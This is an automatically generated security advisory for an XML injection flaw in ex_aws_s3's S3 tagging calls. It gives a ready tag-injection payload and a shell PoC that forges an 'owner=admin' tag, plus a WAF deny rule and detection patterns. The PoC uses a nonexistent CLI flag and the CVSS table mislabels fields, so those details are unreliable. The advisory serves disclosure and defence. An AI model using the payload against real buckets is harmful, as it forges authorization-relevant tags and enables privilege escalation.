CVE-2026-62273 — CWE-91
XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls tag keys or values to inject forged tag entries into S3 object and bucket tagging requests. ExAws.S3.put_object_tagging/4 and ExAws.S3.put_bucket_tagging/2 in lib/ex_aws/s3.ex build the <TagSet> request body by interpolating tag keys and values directly into <Key> and <Value> elements via to_string/1, without applying the module's existing escape_xml_string/1 helper (which delete_multiple_objects already uses for object keys). An application that forwards user-supplied data as a tag key or value lets an attacker close the intended element and inject attacker-chosen <Tag> entries. For example, a tag value of blue</Value></Tag><Tag><Key>owner</Key><Value>admin turns one intended tag into two tags on the wire. Because S3 honors tags in access-control conditions (aws:RequestTag, s3:ExistingObjectTag) and cost-allocation reporting, an injected tag can forge an authorization-relevant tag or corrupt the intended tag set. This issue affects ex_aws_s3: from 2.0.2 before 2.6.0.
XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls tag keys or values to inject forged tag entries into S3 object and bucket tagging requests. ExAws.S3.put_object_tagging/4 and ExAws.S3.put_bucket_tagging/2 in lib/ex_aws/s3.ex build the <TagSet> request body by interpolating tag keys and values directly into <Key> and <Value> elements via to_string/1, without applying the module's existing escape_xml_string/1 helper (which delete_multiple_objects already uses for object keys). An application that forwards user-supplied data as a tag key or value lets an attacker close the intended element and inject attacker-chosen <Tag> entries. For example, a tag value of blue</Value></Tag><Tag><Key>owner</Key><Value>admin turns one intended tag into two tags on the wire. Because S3 honors tags in access-control conditions (aws:RequestTag, s3:ExistingObjectTag) and cost-allocation reporting, an injected tag can forge an authorization-relevant tag or corrupt the intended tag set. This issue affects ex_aws_s3: from 2.0.2 before 2.6.0.
🎯 What is this vulnerability?
XML Injection in ExAws.S3 tag handling (CWE‑91)
The Elixir library ex_aws_s3 (versions 2.0.2 – 2.5.x) builds the XML body for the PutObjectTagging and PutBucketTagging API calls by interpolating user‑supplied tag keys and values directly into the <Key> and <Value> elements using to_string/1.
The library’s existing escape_xml_string/1 helper – which is correctly used elsewhere (e.g., in delete_multiple_objects) – is not applied here.
Consequently, an attacker who can supply a tag key or value that contains XML markup can close the current element and inject arbitrary <Tag> entries into the request.
Example payload (in the <Value> element):
blue</Value></Tag><Tag><Key>owner</Key><Value>adminWhen the library serialises this into XML, the resulting body contains two <Tag> elements instead of one.
Because Amazon S3 evaluates tags in IAM policy conditions (aws:RequestTag, s3:ExistingObjectTag) and in cost‑allocation reports, the injected tag can:
- Forge an authorization‑relevant tag (e.g.,
owner=admin) that grants the attacker access to resources they normally cannot reach. - Corrupt the intended tag set, potentially causing mis‑reporting of costs or policy evaluation errors.
Key points
| Item | Detail |
|---|---|
| Authentication | Requires the caller to have permission to invoke PutObjectTagging/PutBucketTagging. |
| Authorization | No additional checks; the injected tag is accepted by S3. |
| Input validation | Missing XML escaping for tag keys/values. |
| Impact | Low CVSS (2.1) because it is a local, low‑complexity flaw that does not directly compromise confidentiality, integrity, or availability. However, it can be leveraged for privilege escalation via IAM tag conditions or cost‑allocation tampering. |
⚡ Attack Chain
Assumptions
* The attacker can execute code in the same environment as the application that uses ExAws.S3.
* The attacker can control the tag key/value values that are passed toExAws.S3.put_object_tagging/4orExAws.S3.put_bucket_tagging/2.
* The attacker has an IAM role/user that is allowed to callPutObjectTagging/PutBucketTaggingon the target bucket.
1. Discovery & Reconnaissance
| Step | Technique | Tool / Command |
|---|---|---|
| Identify the vulnerable library | Search the application’s mix.exs or deps.lock for ex_aws_s3 | grep -R "ex_aws_s3" -n . |
| Determine the version | Inspect the lockfile or mix deps.get output | mix deps.get → ex_aws_s3 2.5.3 |
| Confirm the presence of tag‑handling code | Search for put_object_tagging or put_bucket_tagging calls | grep -R "put_object_tagging" -n lib/ |
| Verify that the application forwards user input to tag keys/values | Review the code path that constructs the tag map | grep -R "tag" -n lib/ |
Result: The attacker learns that the application uses ex_aws_s3 2.5.3 and forwards user‑supplied data into tag keys/values.2. Exploitation
The attacker crafts a malicious tag value that closes the current <Value> element and injects a new <Tag> element.
Below is a syntactically valid PoC using the AWS REST API (the same XML is what ExAws.S3 would send).
# Target bucket and object
BUCKET="example-bucket"
OBJECT="test.txt"
# Malicious tag value that injects a second tag
# Note: The value contains XML markup that closes the <Value> element
# and opens a new <Tag> element.
MALICIOUS_VALUE='blue</Value></Tag><Tag><Key>owner</Key><Value>admin'
# Build the XML body
XML_BODY=$(cat <<EOF
<Tagging xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<TagSet>
<Tag>
<Key>color</Key>
<Value>$MALICIOUS_VALUE</Value>
</Tag>
</TagSet>
</Tagging>
EOF
)
# Send the request using curl (AWS Signature V4 must be applied; here we use the AWS CLI for simplicity)
aws s3api put-object-tagging \
--bucket "$BUCKET" \
--key "$OBJECT" \
--tagging-xml "$XML_BODY"Illustrative note – The exact endpoint is PUT /{ObjectKey}?tagging on the S3 service.
The AWS CLI internally signs the request; the raw XML body is what ExAws.S3 would transmit.What happens
1. The S3 service receives the XML body.
2. It parses the XML and finds two <Tag> entries:
* <Key>color</Key><Value>blue</Value>
* <Key>owner</Key><Value>admin</Value>
3. The second tag (owner=admin) is now part of the object’s metadata.
3. Post‑exploitation
| Goal | How it is achieved |
|---|---|
| Privilege escalation via IAM tag conditions | If the organization uses IAM policies that allow actions only when aws:RequestTag/owner = "admin", the attacker can now perform those actions on the object or bucket. |
| Cost‑allocation tampering | The injected owner=admin tag will appear in cost‑allocation reports, potentially mis‑attributing costs to the attacker’s account. |
| Policy evaluation confusion | Existing policies that rely on tag sets may behave unexpectedly, leading to unintended access or denial. |
Note – The attacker does not gain direct RCE or arbitrary code execution; the impact is limited to the scope of S3 tagging.
🌍 Real World Impact
| CVSS Dimension | Value | Interpretation |
|---|---|---|
| AV (Attack Vector) | L (Local) | Requires local or application‑level access. |
| AC (Attack Complexity) | L (Low) | Simple to craft the payload. |
| AT (Authentication) | P (Privileged) | The attacker must have IAM permissions to call the tagging APIs. |
| PR (Privileges Required) | N (None) | No additional privileges beyond the existing IAM role. |
| UI (User Interaction) | N (None) | No user interaction needed. |
| VC / VI / VA | N / N / N | No direct confidentiality, integrity, or availability impact on S3 itself. |
| SC / SI / SA | N / L / N | Integrity of the tag set is compromised (low). No impact on availability or confidentiality. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected Versions | Fix | Upgrade Recommendation |
|---|---|---|
ex_aws_s3 2.0.2 – 2.5.x | The library now uses escape_xml_string/1 for all tag keys/values. | Upgrade to 2.6.0 or later. |
| Action | Add the following to mix.exs and run mix deps.update ex_aws_s3. | {:ex_aws_s3, "~> 2.6"} |
2. Workarounds (if upgrade is not immediately possible)
| Mitigation | How to Implement |
|---|---|
| Sanitize input | Before passing tag keys/values to put_object_tagging/4, apply ExAws.S3.escape_xml_string/1 manually. |
| Restrict IAM permissions | Deny s3:PutObjectTagging to untrusted users or roles. |
| Use a WAF | Block XML payloads containing </Tag> or <Tag> sequences. Example ModSecurity rule: <br>SecRule REQUEST_BODY "@rx</Tag>" "id:1001,phase:2,deny,msg:'XML Tag Injection detected'" |
| Disable tag forwarding | If the application forwards user input directly, refactor to use a whitelist of allowed tag keys/values. |
3. Detection
| Indicator | Log Pattern | How to Search |
|---|---|---|
| Unexpected tag names | TagSet.*<Tag>.*<Key>.*</Key>.*<Value>.*</Value>.*</Tag> | Search S3 access logs for TagSet entries containing </Tag> or <Tag> outside the normal structure. |
| Malformed XML | Error parsing XML or Invalid XML in S3 error logs | Look for MalformedXML errors returned by S3. |
| Unusual IAM policy evaluation | AccessDenied logs where the request includes a tag that the user should not possess | Correlate IAM logs with S3 tagging actions. |
⚠️ Urgency
Recommendation
ex_aws_s3 2.6.0 or later if the application is in production. PutObjectTagging/PutBucketTagging. Given the low CVSS score and the requirement for local access, the patching priority is medium for environments that rely on tag‑based IAM policies or cost‑allocation reporting. For environments that do not use tags for access control, the urgency can be considered low.
[🤖 CVE Professor AI Security Engine]